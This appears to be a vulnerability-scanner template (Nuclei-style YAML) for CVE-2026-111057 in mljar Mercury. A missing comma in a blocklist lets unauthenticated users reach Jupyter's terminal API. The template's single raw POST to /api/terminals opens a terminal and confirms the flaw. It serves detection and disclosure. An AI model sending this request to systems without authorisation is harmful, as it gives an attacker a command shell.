id: CVE-2026-111057 info: name: "Mercury - Improper Access Control" author: vedas-arpsyndicate severity: critical description: | In mljar Mercury from 3.0.0 until 3.2.4, a missing comma in the anonymous endpoint BLOCKED_PATTERNS list concatenates the `/lab` and `/api/terminals` regular-expression literals, so requests to `/api/terminals` bypass the blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can create an interactive operating-system terminal and execute commands as the Mercury process. reference: - https://www.exploit.observer/?keyword=CVE-2026-111057&match=exact - https://subdomain.center/?engine=ammonites&keyword=mercury&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-111057 cwe-id: CWE-284 metadata: verified: false tags: cve,cve2026,mercury,auth-bypass http: - raw: - | POST /api/terminals HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {} matchers: - type: dsl dsl: - 'contains_all(body, "\"name\"", "\"last_activity\"")' - 'contains(content_type, "application/json")' - 'status_code == 200 || status_code == 201' condition: and